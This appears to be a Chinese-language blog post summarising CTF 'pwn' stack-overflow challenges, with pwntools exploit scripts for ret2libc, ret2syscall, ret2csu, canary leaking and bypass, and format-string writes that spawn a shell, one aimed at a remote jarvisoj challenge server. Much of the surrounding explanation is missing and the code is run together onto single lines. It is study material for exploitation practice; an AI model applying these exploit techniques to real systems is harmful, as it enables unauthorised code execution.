pwn学习总结(三) —— 栈溢出经典题型整理
pwn學習總結(三) —— 棧溢出經典題型整理
- ret2text
- ret2shellcode
- rop
- ret2libc
- 使用DynELF實現遠程libc泄露
- ret2syscall
- ret2libc
- ret2csu
- leak canary
- bypass canary
- 格式化字符串漏洞
ret2text
平臺:jarvisoj
題目:level0
鏈接: https://pan.baidu.com/s/137PzVauKmXQ7ACaoY-5X_w 密碼: jnc3
查看程序防護:
查看反匯編:
exp:
getshell:
ret2shellcode
平臺:jarvisoj
題目:level1
鏈接: https://pan.baidu.com/s/1cbJ_hzkAQgDLzXYW5zAEaw 密碼: fmk3
查看程序防護:
反匯編:
本地運行:
exp:
get shell:
rop
平臺:jarvisoj
題目:level2
鏈接: https://pan.baidu.com/s/15Csf9bL-rUuO1ksdncGvKg 密碼: 8jfu
查看文件防護:
查看反匯編:
exp:
getshell:
ret2libc
平臺:jarvisoj
題目:level3
鏈接: https://pan.baidu.com/s/12t108vtx80Hwe0CmxQYsfw 密碼: jejt
查看文件防護:
已知信息:
目的:獲得system函數與’/bin/sh’字符串在libc中的內存地址并進行調用
exp:
# -*- coding: utf-8 -*- from pwn import *r = remote('pwn2.jarvisoj.com', 9879)level3 = ELF('./level3') libc = ELF('./libc-2.19.so')junk = 'a' * (0x88 + 4)func_vul_addr = 0x804844bwrite_plt = level3.symbols['write'] write_got = level3.got['write']#write(int fd, const void *buf, size_t n) #通過write函數獲得write的got地址,即在libc模塊中的地址 #write函數執行時,got表中的地址已經被重寫為write在內存中的實際地址 #調用write后,令其返回到vul函數,目的是為了再次執行read # ret_addr write的返回地址 fd buf n payload1 = junk + p32(write_plt) + p32(func_vul_addr) + p32(1) + p32(write_got) + p32(4)r.recvuntil("Input:\n") r.sendline(payload1)write_addr = u32(r.recv(4))#函數在libc中的plt地址 libc_write_plt = libc.symbols['write'] libc_system_plt = libc.symbols['system'] libc_bin_sh_plt = libc.search('/bin/sh').next()#計算libc中write函數GOT與PLT的偏移,可以通過偏移定位其它函數在內存中的地址 libc_offset = write_addr - libc_write_pltsystem_addr = libc_system_plt + libc_offset bin_sh_addr = libc_bin_sh_plt + libc_offset# ret_addr 任意 參數:'/bin/sh' payload2 = junk + p32(system_addr) + p32(0xdeadbeef) + p32(bin_sh_addr)r.recvuntil("Input:\n") r.sendline(payload2)r.interactive()getshell:
使用DynELF實現遠程libc泄露
平臺:jarvisoj
題目:level4
鏈接: https://pan.baidu.com/s/1nHduB7t8ZLX2P4rVv28Vjw 密碼: aed3
查看文件防護:
查看反匯編:
exp:
getshell:
ret2syscall
平臺:ctf wiki
題目:ret2syscall
查看程序防護:
查看反匯編:
計算 input 到 ebp 的偏移量:
syscall條件:
exp:
#-*- coding: utf-8 -*- from pwn import * context.log_level = 'debug'elf = ELF('./rop') r = process('./rop')pop_eax_ret = 0x80bb196 pop_edx_ecx_ebx_ret = 0x806eb90bin_sh = elf.search('/bin/sh\x00').next() int_0x80 = 0x8049421payload = 'a'*0x6c + 'b'*4 payload += p32(pop_eax_ret) + p32(0xb) payload += p32(pop_edx_ecx_ebx_ret) + p32(0) + p32(0) + p32(bin_sh) payload += p32(int_0x80)r.sendline(payload) r.interactive()getshell:
ret2libc
平臺:wiki
題目:ret2libc3
查看程序防護:
查看反匯編:
解題思路:
exp:
#-*- coding: utf-8 -*- from pwn import * from LibcSearcher import LibcSearcher #context.log_level = 'debug' #context.arch = 'i386'/'amd64'elf = ELF('./ret2libc3') #libc_so = ELF('./') sh = process('./ret2libc3') #sh = remote('', )main_addr = 0x80484d0 puts_plt = elf.symbols['puts'] puts_got = elf.got['puts']sh.recvuntil('Can you find it !?')payload = 'a'*0x6c + 'b'*4 payload += p32(puts_plt) + p32(main_addr) + p32(puts_got)#pwnlib.gdb.attach(proc.pidof(sh)[0]) sh.sendline(payload) puts_addr = u32(sh.recv(4))libc = LibcSearcher('puts', puts_addr) libc_base = puts_addr - libc.dump('puts')#########################################################system_addr = libc_base + libc.dump('system') bin_sh_addr = libc_base + libc.dump('str_bin_sh')sh.recvuntil('Can you find it !?')payload = 'a'*0x6c + 'b'*4 payload += p32(system_addr) + p32(main_addr) + p32(bin_sh_addr)sh.sendline(payload) sh.interactive()getshell:
ret2csu
平臺:jarvisoj
題目:level5
鏈接: https://pan.baidu.com/s/1StEDa6JRGmBWZcNxLiFa3Q 密碼: ctlv
查看程序防護:
查看反匯編:
已知信息:
解題思路:
exp:
#-*- coding: utf-8 -*- from pwn import * from LibcSearcher import LibcSearcher #context.log_level = 'debug'elf = ELF('./level5') #libc_so = ELF('./') sh = process('./level5') #sh = remote('', )#pop_rbx_rbp_r12_r13_r14_r15_ret csu_pop = 0x40061A #call [r12 + rbx*8] csu_end = 0x400600main_addr = elf.symbols['main'] write_got = elf.got['write']#萬能gadgets def csu(rbx, rbp, r12, r13, r14, r15, ret_addr):payload = 'a'*0x80 + 'b'*8payload += p64(csu_pop) + p64(rbx) + p64(rbp) + p64(r12) + p64(r13) + p64(r14) + p64(r15)payload += p64(csu_end)payload += 'a'*0x38payload += p64(ret_addr)sh.sendline(payload)sleep(0.2)sh.recvuntil('Hello, World\n') #獲得write函數地址 csu(0, 1 , write_got, 8, write_got, 1, main_addr) write_addr = u64(sh.recv(8))#通過后12位偏移查詢libc版本 libc = LibcSearcher('write', write_addr) #libc基地址 = write地址 - write偏移 libc_base = write_addr - libc.dump('write')#######################################################read_got = elf.got['read'] execve_addr = libc_base + libc.dump('execve') bss_addr = elf.bss()sh.recvuntil('Hello, World\n') #向bss段寫入execve地址與'/bin/sh'字符串 csu(0, 1, read_got, 16, bss_addr, 0, main_addr) sh.send(p64(execve_addr) + '/bin/sh\x00')#######################################################sh.recvuntil('Hello, World\n') #調用execve('/bin/sh\x00') csu(0, 1, bss_addr, 0, 0, bss_addr+8, main_addr)sh.interactive()getshell:
leak canary
鏈接: https://pan.baidu.com/s/11oTViENfx29VsP5zylq54g 密碼: w4d9
查看程序防護:
查看反匯編:
前置知識:
已知信息:
利用思路:
exp:
from pwn import *sh = process('./demo')sh.sendline('a'*0x28) #'a'*0x28+'\n'sh.recvuntil('Hello ' + 'a'*0x28) canary = u64(sh.recv(8))-0xA #sub ASCII('\n') #print hex(canary)backdoor = 0x40076B# canary rbp ret_address pd = 'a'*0x28 + p64(canary) + p64(0) + p64(backdoor) sh.send(pd)sh.interactive()getshell:
bypass canary
鏈接: https://pan.baidu.com/s/1nERJBuDPi-qJSTeHO6TGng 密碼: ji38
查看程序防護:
查看反匯編:
已知信息:
利用思路:
exp:
from pwn import *sh = process('./pwn')backdoor = 0x40079Bfor i in range(5):sh.sendline('+')sh.sendline(str(backdoor))sh.interactive()getshell:
格式化字符串漏洞
平臺:NCTF2019
題目:pwn me 100 year!(II)
鏈接: https://pan.baidu.com/s/1RPS4ssGTg_VNjgLZI504_A 密碼: ebwu
查看程序防護:
定位漏洞點:
已知信息:
exp:
#-*- coding: utf-8 -*- from pwn import * #context.log_level='debug'#r = remote('139.129.76.65',50005) r = process('./pwn_me_2')#填充src,并獲取src的地址 payload1 = 'a'*16 + '%llx' r.sendline(payload1) r.recvuntil('preparing......\n') # src 與 dword_2020E0 的偏移為 0x60 dword_2020E0_addr = int(r.recv(12), 16) + 0x60''' 備注:1. 寫入的值 = 之前輸出過的字節數的總和2. '%??c'表示輸出??個空格3. '??$'表示第??個成員4. '$hn'表示寫入的寬度為2個字節5. 一次性寫入4字節寬度的話需要一次性輸出0x66666666個字符,數量太多,會導致printf函數崩潰 ''' r.recvuntil('what do you want?\n') #向dword_2020E0_addr寫入0x6666 payload2 = "%" + str(0x6666) + "c%10$hn" #13 byte #向dword_2020E0_addr+2寫入0x6666 payload2 += "%" + str(0x16666 - 0x6666) + "c%11$hn" #13 byte #前面一共寫入了26個字符,為了棧對齊,補6個'a',到32個字符 payload2 += 'aaaaaa' #前六個成員為rdi, rsi, rdx, rcx, r8, r9 #dword_2020E0_addr 為第10個成員(棧中第5個成員,下標為10) payload2 += p64(dword_2020E0_addr) #dword_2020E0_addr+2為第11個成員(棧中第6個成員,下標為11) payload2 += p64(dword_2020E0_addr+2)r.sendline(payload2) r.interactive()getshell:
總結
以上是生活随笔為你收集整理的pwn学习总结(三) —— 栈溢出经典题型整理的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: pwn学习总结(二) —— 基础知识(持
- 下一篇: NCTF2019 -- PWN部分wri